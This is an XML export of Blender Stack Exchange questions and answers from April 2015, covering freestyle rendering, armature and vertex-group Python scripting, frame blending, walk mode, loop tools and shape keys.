  <row Id="28223" PostTypeId="1" AcceptedAnswerId="28224" CreationDate="2015-04-08T03:11:13.887" Score="2" ViewCount="1895" Body="&lt;p&gt;I'm wondering how I would make an object have lines on some edges when rendered, like it was&#xA;drawn. I believe the feature is called freestyle, and I activate it in the render options, but my test cube doesn't render with the lined edges. What I'm asking, to be clear, is how to make an object that renders with hard lines on edges to give the appearance of being drawn in blender 2.7 cycles render. The blender wiki has outdated info about this.&lt;/p&gt;&#xA;" OwnerUserId="13639" LastActivityDate="2015-04-08T04:18:00.413" Title="2.7 How to make an anime looking object" Tags="&lt;cycles-render-engine&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28224" PostTypeId="2" ParentId="28223" CreationDate="2015-04-08T04:18:00.413" Score="5" Body="&lt;p&gt;Enable freestyle in the properties-&gt;Render window:&#xA;You can control the line thickness there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iFvc6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The controls for the shading are in properties-&gt;scene-&gt;line_style-&gt;&lt;strong&gt;Freestyle Line set&lt;/strong&gt; and &lt;strong&gt;Line style&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YtN4O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-04-08T04:18:00.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28225" PostTypeId="1" AcceptedAnswerId="28323" CreationDate="2015-04-08T05:59:31.703" Score="1" ViewCount="1350" Body="&lt;p&gt;I have a script that creates an armature in the first run, and then finds it in the second run. When I try to add a bone to it in the second run, I get this error: &lt;code&gt;Armature 'Armature' not in edit mode, cannot add an editbone.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;if armature_name in bpy.data.objects.keys():&#xA;    armature = bpy.data.objects[armature_name]&#xA;    armature_data = armature.data&#xA;    print ('armature found')&#xA;else:&#xA;    bpy.ops.object.armature_add(location = (0.0, 0.0, 0.0))&#xA;    armature = bpy.context.object&#xA;    armature.name = armature_name&#xA;    armature_data = armature.data&#xA;    armature_created = True&#xA;    print ('armature created')&#xA;&#xA;#I was in object mode before&#xA;bpy.ops.object.editmode_toggle()&#xA;#Also tried bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;#This crashes the second time&#xA;bone = armature_data.edit_bones.new(bone_name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Why am I not in edit mode? It seems that I am in edit mode, but the armature thinks I'm not.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2015-04-10T04:02:05.370" LastActivityDate="2015-04-10T04:40:30.553" Title="Armature not in edit mode" Tags="&lt;python&gt;&lt;scripting&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28226" PostTypeId="1" AcceptedAnswerId="28253" CreationDate="2015-04-08T06:20:16.883" Score="6" ViewCount="1311" Body="&lt;p&gt;I can't find the option that supposedly existed in Blender 2.49: &quot;Enable Frame Blending&quot;. Does anyone know where it is, or where is its analog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I shot a sunset - 30 minute video I want to turn to 10 second sped-up video. I easily do that with Add-&gt;Effect Strip-&gt;Speed Control, and setting &lt;img src=&quot;https://i.stack.imgur.com/0ppdJ.png&quot; alt=&quot;Multiply Speed&quot;&gt; to 200. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This drops 199 frames out of 200, which isn't quite what I'm after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are people walking in front of the camera. I want to blur every 200 frames into 1, so that there are blurred trails of people rather than snippets of people. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PMZ8O.png&quot; alt=&quot;I want this man to be a blur in this frame!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google says that all I need to do is check the &quot;Enable Frame Blending&quot; option. However, I cannot find this option in Blender 2.74 UI or source code, so it probably got renamed. Does anyone know how to fix this? I cannot use Blender 2.49 (I tried.. The new blender UI is tough for me to get around, googling basic things 20 minutes at a time; the old blender is however just an impenetrable wall of foreign UI concepts)&lt;/p&gt;&#xA;" OwnerUserId="13670" LastEditorDisplayName="user1853" LastEditDate="2015-04-08T08:10:38.367" LastActivityDate="2015-04-08T17:33:57.123" Title="How to Enable Frame Blending in Blender 2.74?" Tags="&lt;video&gt;&lt;versions&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28228" PostTypeId="2" ParentId="28225" CreationDate="2015-04-08T08:20:49.123" Score="3" Body="&lt;p&gt;It's more reliable to tell Blender which mode to switch to instead of relying on &lt;code&gt;editmode_toggle()&lt;/code&gt;, because there's an &lt;em&gt;enter editmode&lt;/em&gt; option, so you can't be sure what mode an object is in after creation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.mode_set(mode='EDIT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BTW: this is &lt;a href=&quot;https://docs.python.org/3.4/glossary.html#term-eafp&quot; rel=&quot;nofollow&quot;&gt;better&lt;/a&gt; than your current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try:&#xA;    armature = bpy.data.objects[armature_name]&#xA;except KeyError:&#xA;    # create armature&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-04-08T08:20:49.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28229" PostTypeId="2" ParentId="28206" CreationDate="2015-04-08T08:29:08.793" Score="2" Body="&lt;p&gt;If I add an armature manually, add a &lt;em&gt;Follow Path&lt;/em&gt; constraint in Pose mode, enable &lt;em&gt;Fixed Position&lt;/em&gt; and keyframe the offset slider, the &lt;code&gt;data_path&lt;/code&gt; of the created f-curve is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'pose.bones[&quot;Bone&quot;].constraints[&quot;Follow Path&quot;].offset_factor'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it's referenced by the &quot;owning&quot; object, and the data path fully qualifies the pose bone and its constraint.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-04-08T08:29:08.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28230" PostTypeId="2" ParentId="28207" CreationDate="2015-04-08T08:39:00.540" Score="3" Body="&lt;p&gt;You have experimental subdivision enabled in &lt;em&gt;Properties &gt; Object data&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kgjtR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that it does not yet support UV maps, hence the experimental part..&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-08T08:39:00.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28233" PostTypeId="2" ParentId="24836" CreationDate="2015-04-08T10:38:44.717" Score="7" Body="&lt;p&gt;Make your object local:&lt;br&gt;&#xA;&lt;em&gt;Object&lt;/em&gt; &gt; &lt;em&gt;Make Local&lt;/em&gt; &gt; &lt;em&gt;All&lt;/em&gt;&lt;br&gt;&#xA;or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or unlock in the outliner&lt;/p&gt;&#xA;" OwnerUserId="13675" LastEditorUserId="2217" LastEditDate="2015-04-08T13:21:18.053" LastActivityDate="2015-04-08T13:21:18.053" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28235" PostTypeId="1" AcceptedAnswerId="28238" CreationDate="2015-04-08T11:04:51.017" Score="4" ViewCount="3695" Body="&lt;p&gt;In my mesh I have few vertices which are in more then 4 vertex groups. I know the indices of those vertices, is there a way to get names of those vertex groups? Many tnx&lt;/p&gt;&#xA;" OwnerUserId="12996" LastEditorUserId="241" LastEditDate="2015-04-08T11:22:46.633" LastActivityDate="2016-08-23T12:11:08.063" Title="How can I get the names of the vertex groups these vertices are in?" Tags="&lt;python&gt;&lt;vertex-groups&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28236" PostTypeId="2" ParentId="28221" CreationDate="2015-04-08T11:49:58.720" Score="1" Body="&lt;p&gt;Found the answer my self.&#xA;Here is the link to the youtube video: &lt;a href=&quot;https://www.youtube.com/watch?v=XO9gOeDcgzg&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=XO9gOeDcgzg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this method will help to consolidate uv's and create one single texture material and it can be used in unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope it helps someone. I asked it my self but no one answered, may be they didn't understand what I meant. anyway....this is what I wanted.....&lt;/p&gt;&#xA;" OwnerUserId="13666" LastActivityDate="2015-04-08T11:49:58.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28237" PostTypeId="1" CreationDate="2015-04-08T12:12:39.243" Score="1" ViewCount="45" Body="&lt;p&gt;Knowing my f-curve, how can I find the animated setting?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bpy.data.actions['Material.001Action'].fcurves[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8xU8O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="241" LastEditDate="2015-04-08T14:28:19.793" LastActivityDate="2015-04-08T14:28:19.793" Title="How do I find the setting affected by a f-curve using python?" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28238" PostTypeId="2" ParentId="28235" CreationDate="2015-04-08T12:34:34.887" Score="4" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bmesh.html?highlight=bmesh#module-bmesh&quot; rel=&quot;nofollow&quot;&gt;bmesh module&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.ops.object.html?highlight=vertex_group#bpy.ops.object.vertex_group_select&quot; rel=&quot;nofollow&quot;&gt;vertex group operators&lt;/a&gt; to get the  names of the vertex groups:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;# get active mesh&#xA;obj = bpy.context.object&#xA;me = obj.data&#xA;&#xA;# get bMesh representation&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;# set your vertex index value&#xA;v_index = 0 &#xA;&#xA;# iterate through the vertex group &#xA;for group in obj.vertex_groups:&#xA;&#xA;    # set current vertex group to active&#xA;    bpy.ops.object.vertex_group_set_active(group=str(group.name))&#xA;&#xA;    # select the active vertex group&#xA;    bpy.ops.object.vertex_group_select()&#xA;&#xA;    # get all currently selected verts&#xA;    vertices = [v for v in bm.verts if (v.select and not v.hide)]&#xA;&#xA;    # vertex iteration&#xA;    for vertex in vertices:&#xA;        if vertex.index ==  v_index:&#xA;            print(&quot;Vertex &quot;, v_index, &quot; is in &quot;, group.name)        &#xA;&#xA;    # deselect the current vertex group             &#xA;    bpy.ops.object.vertex_group_deselect()&#xA;&#xA;# show the updates in the viewport&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe there's another way without selecting all the vertex groups, but it works so far.&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="6164" LastEditDate="2016-08-23T12:11:08.063" LastActivityDate="2016-08-23T12:11:08.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28239" PostTypeId="1" AcceptedAnswerId="28241" CreationDate="2015-04-08T12:38:59.587" Score="3" ViewCount="1203" Body="&lt;p&gt;I wanted to calculate the circumcenter of an object (for example of an cylinder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this purpose I use Z-mode to see the grid of an object and mark three points that are on the same circle. After this I calculate the circumcenter on paper and set my 3D cursor to those values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an addon/widget/plugin/script that I can add to Blender to archive the same without the hassle of manually calculating or can Blender do that by itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The main goal I have is to get the midpoint of a circle object in Blender.&lt;/strong&gt; If the calculation with 3 points is unneeded and over complicating things tell me so please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore sadly I do not find calculators online who support 3D vectors for this calculation. So If you can link me a calculator for tempory usage would be great too.&lt;/p&gt;&#xA;" OwnerUserId="12883" LastEditorUserId="12883" LastEditDate="2015-04-08T12:44:31.040" LastActivityDate="2017-12-10T23:32:54.600" Title="How can I determine/calculate a circumcenter with 3 points" Tags="&lt;scripting&gt;&lt;add-on&gt;&lt;geometry&gt;&lt;3d-cursor&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28240" PostTypeId="2" ParentId="28237" CreationDate="2015-04-08T12:39:04.323" Score="2" Body="&lt;p&gt;The answer was pretty simple. Just add this at the end of line:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.data_path&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.actions['Material.001Action'].fcurves[0].data_path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="241" LastEditDate="2015-04-08T14:27:10.397" LastActivityDate="2015-04-08T14:27:10.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28241" PostTypeId="2" ParentId="28239" CreationDate="2015-04-08T13:16:10.357" Score="4" Body="&lt;p&gt;I have written &lt;a href=&quot;https://github.com/zeffii/Blender_CAD_utils#ccen-circle-centers&quot; rel=&quot;nofollow&quot;&gt;such a tool&lt;/a&gt;, it creates a grease-pencil representation of the reconstructed circle if you can select 3 vertices of an incomplete circle. It also allows you to change the number of vertices of the new representation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily convert from grease pencil to mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cloud.githubusercontent.com/assets/619340/7046217/94813136-de04-11e4-9ef8-471b5eecb62f.gif&quot; rel=&quot;nofollow&quot;&gt;6 mb example image&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-08T13:43:11.157" LastActivityDate="2015-04-08T13:43:11.157" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28243" PostTypeId="2" ParentId="28219" CreationDate="2015-04-08T14:51:46.510" Score="7" Body="&lt;p&gt;This is very easy to do. All you need is a Boolean property to be toggled, and when that property is true, the visibility will be true, and when that property is false the visibility will be false. In this case we are using &lt;strong&gt;NameOfProp&lt;/strong&gt; as the name for the Boolean property, but of course it could be anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UKf8J.png&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;No, I didn&amp;#39;t name the bricks, we are not using enough to make it worth it. :-)&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UKf8J.png&quot; alt=&quot;enter image description here&quot; title=&quot;No, I didn&amp;#39;t name the bricks, we are not using enough to make it worth it. :-)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A working example can be found here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/161/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=161&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2019-01-29T15:19:57.137" LastActivityDate="2019-01-29T15:19:57.137" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28244" PostTypeId="1" CreationDate="2015-04-08T15:10:14.303" Score="2" ViewCount="2623" Body="&lt;p&gt;Using &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; you can move around using WASD and pressing &lt;kbd&gt;Tab&lt;/kbd&gt; lets you have gravity which is good. How might I utilize this with objects. Locking to camera lets me do this but simply selecting an object does not let me do this.&lt;/p&gt;&#xA;" OwnerUserId="13678" LastEditorUserId="2217" LastEditDate="2015-04-08T15:14:55.453" LastActivityDate="2015-04-08T18:00:16.707" Title="How do I move an object using WASD (like walk mode)" Tags="&lt;objects&gt;&lt;3d-view&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28245" PostTypeId="1" CreationDate="2015-04-08T15:10:49.947" Score="1" ViewCount="52" Body="&lt;p&gt;I was in Blender Cycles, I imported an .obj file, worked with it, added some materials to it, and clicked on the little &quot;render&quot; circle right next to Object Mode. I saw the building and the sky and that was what I needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I went to render image, the sky was only in the background, not the building.&lt;/p&gt;&#xA;" OwnerUserId="9583" LastEditorUserId="3710" LastEditDate="2015-04-08T15:52:25.867" LastActivityDate="2015-04-08T15:52:25.867" Title="Cycles is only rendering sky texture and nothing else" Tags="&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-04-08T16:16:51.763" ContentLicense="CC BY-SA 3.0" />
  <row Id="28246" PostTypeId="1" CreationDate="2015-04-08T15:14:42.980" Score="2" ViewCount="1115" Body="&lt;p&gt;My object is not showing in Full Render mode.&#xA;It is modeled and textured in another software, so in Blender there are no actual textures nor materials connected to the object, but they are there in the 3D view when the Method to display/shade objects in 3D view is set on Texture.&#xA;Does anybody know what might be the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://s14.postimg.org/au7897q35/problem.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://s14.postimg.org/au7897q35/problem.jpg&quot; alt=&quot;screen shot of blender showing the blank render&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13679" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.330" LastActivityDate="2015-04-09T10:17:38.623" Title="Full render showing nothing" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-04-26T03:18:41.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="28247" PostTypeId="2" ParentId="28244" CreationDate="2015-04-08T15:31:54.447" Score="3" Body="&lt;p&gt;You have to &lt;a href=&quot;https://blender.stackexchange.com/a/26109/2217&quot;&gt;parent&lt;/a&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; the object you want to move to the active camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few quirks about parented objects and walk mode: Make sure the object is not intersecting the camera; if it is the camera will fly away when the gravity is turned on. By default the object will inherent all the rotation from the camera, use &lt;em&gt;Vertex&lt;/em&gt; parenting (in my linked &lt;a href=&quot;https://blender.stackexchange.com/a/26109/2217&quot;&gt;parenting&lt;/a&gt; answer) if the rotation is not wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch the view to camera view &lt;kbd&gt;NumPad 0&lt;/kbd&gt;, then enter walk mode with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;.&lt;br&gt;&#xA;When you are done &quot;walking around&quot; your scene press &lt;kbd&gt;Enter&lt;/kbd&gt;, that will move the camera to the place where you ended walk mode. Because the object is parented to the camera it will move along with the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should unparent &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; the object from the camera after you are done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/004cX.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-04-08T15:48:38.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28248" PostTypeId="1" AcceptedAnswerId="28251" CreationDate="2015-04-08T16:11:35.693" Score="2" ViewCount="2099" Body="&lt;p&gt;I have the loop tools addon enabled and when I click the circle button with these verts selected, it just disappears. Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the selected options in the bottom screenshot. It is worth noting that all the verts are flat on the x plane. Locking in X or not does not change the effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the &lt;code&gt;to sphere&lt;/code&gt; operator it squishes the verts on Z and stretches super wide on Y, not making a cirlce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ttfvO.png&quot; alt=&quot;loop tools error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the blend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/162/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=162&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3028" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-04-08T17:02:51.323" Title="Blender 2.74 loop tools make circle disappear" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28249" PostTypeId="1" CreationDate="2015-04-08T16:20:47.543" Score="1" ViewCount="2986" Body="&lt;p&gt;I'm trying to export from blender to 3d max with textures.&lt;br&gt;&#xA;I am exporting with .fbx format, but it only exports 4 textures. (in my .blend file I have 107 packed files)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is whether it is possible to get all the embedded images exported to fbx with textures?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use blender 2.74 and exported to 3dmax 2015&lt;/p&gt;&#xA;" OwnerUserId="13680" LastEditorUserId="2217" LastEditDate="2015-04-08T16:32:50.513" LastActivityDate="2015-04-08T16:32:50.513" Title="blender export to fbx with embed texture" Tags="&lt;texturing&gt;&lt;export&gt;&lt;image&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28250" PostTypeId="2" ParentId="28181" CreationDate="2015-04-08T16:53:22.063" Score="1" Body="&lt;p&gt;Cannot be done with lattices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also somehow locking the scale to its value and performing scale applying would cause the lattice itself to expand/shrink again (resulting in 2x the original transformation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Mesh Deform instead and keep the scale of that cage at 1. Only this setup will be fool-proof. But Mesh-Deform is not a full supplement for Lattice, depends on what you are doing with it..&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-04-08T17:01:08.797" LastActivityDate="2015-04-08T17:01:08.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28251" PostTypeId="2" ParentId="28248" CreationDate="2015-04-08T16:54:41.120" Score="6" Body="&lt;p&gt;Your object has a pretty extreme object scale on it. To get an idea of how extreme, this is what it would look like without it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ToMLz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you apply the scale to the mesh with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; it then works as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n2aJS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/12288/599&quot;&gt;Why are the longer edges being beveled more?&lt;/a&gt; for some more detail. Suffice it to say that loop tools sees the mesh without the object scale, and that tall thin hole is confusing it.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-04-08T17:02:51.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28252" PostTypeId="1" AcceptedAnswerId="28255" CreationDate="2015-04-08T17:15:17.840" Score="2" ViewCount="1322" Body="&lt;p&gt;My problem is: I can't move SOME bones in Pose mode. If I try, it only rotates them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Yes, I know about &quot;manipulate center points&quot;, sadly it did not help in my case. Enabled or disabled it does not make any difference at all.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are 2 screenshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O1scd.jpg&quot; alt=&quot;bones in pose mode&quot;&gt;&#xA;  I may easily move this and 3 other bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SxImZ.jpg&quot; alt=&quot;bone only rotating&quot;&gt;&lt;br&gt;&#xA;This one turns dark orange and rotates, instead of dragging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see on these screenshots, both bones have exact proportions, same parent and no transfer limitations. Clearing/re-assigning parent bone does not help either. To be honest, I have no idea where else may I search for mistake. Any help will be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="13683" LastEditorUserId="2217" LastEditDate="2015-04-08T17:22:33.097" LastActivityDate="2015-04-08T17:57:35.083" Title="Some bones do not move in pose mode" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28253" PostTypeId="2" ParentId="28226" CreationDate="2015-04-08T17:33:57.123" Score="3" Body="&lt;p&gt;This option was lost in the transition to 2.5. Not sure exactly why, maybe the design of it didn't fit with the newer design (under the hood, not UI) It might be a Todo item.&#xA;You might want to use the program 'slomovideo' &lt;a href=&quot;http://slowmovideo.granjow.net/&quot; rel=&quot;nofollow&quot;&gt;http://slowmovideo.granjow.net/&lt;/a&gt;&#xA;that does pixel-flo type blurs and blends to do this effect. (It is also free and open source)&lt;/p&gt;&#xA;" OwnerUserId="11076" LastActivityDate="2015-04-08T17:33:57.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28254" PostTypeId="1" AcceptedAnswerId="28279" CreationDate="2015-04-08T17:52:44.353" Score="8" ViewCount="7298" Body="&lt;p&gt;I have several objects in the scene, each of them has few shape keys. All shape key values change simultaneously with the same value. Every time I need to keyframe the animation I have to go to every object and keyframe each shape key's value. Is there a way to somehow make these values bound? So, if I change one 'master' key shape value, the rest of the key shapes in other objects change the value as well.&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2015-04-10T08:53:34.547" Title="Is it possible to combine shape key values from different objects?" Tags="&lt;keyframes&gt;&lt;shape-keys&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28255" PostTypeId="2" ParentId="28252" CreationDate="2015-04-08T17:57:35.083" Score="2" Body="&lt;p&gt;It is possible this might be related to auto-IK ; try going to the toolbar on the left of the screen, clicking on the options tab and turning off auto-IK.&lt;/p&gt;&#xA;" OwnerUserId="11076" LastActivityDate="2015-04-08T17:57:35.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28256" PostTypeId="2" ParentId="28244" CreationDate="2015-04-08T18:00:16.707" Score="2" Body="&lt;p&gt;If you switch your view to wireframe so you can see through your object, and then hit &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;NumPad 0&lt;/kbd&gt; you can view throught he objects perspective. you can now &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;F&lt;/kbd&gt; to move the object, just be sure to set your render view back to your camera later.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-04-08T18:00:16.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
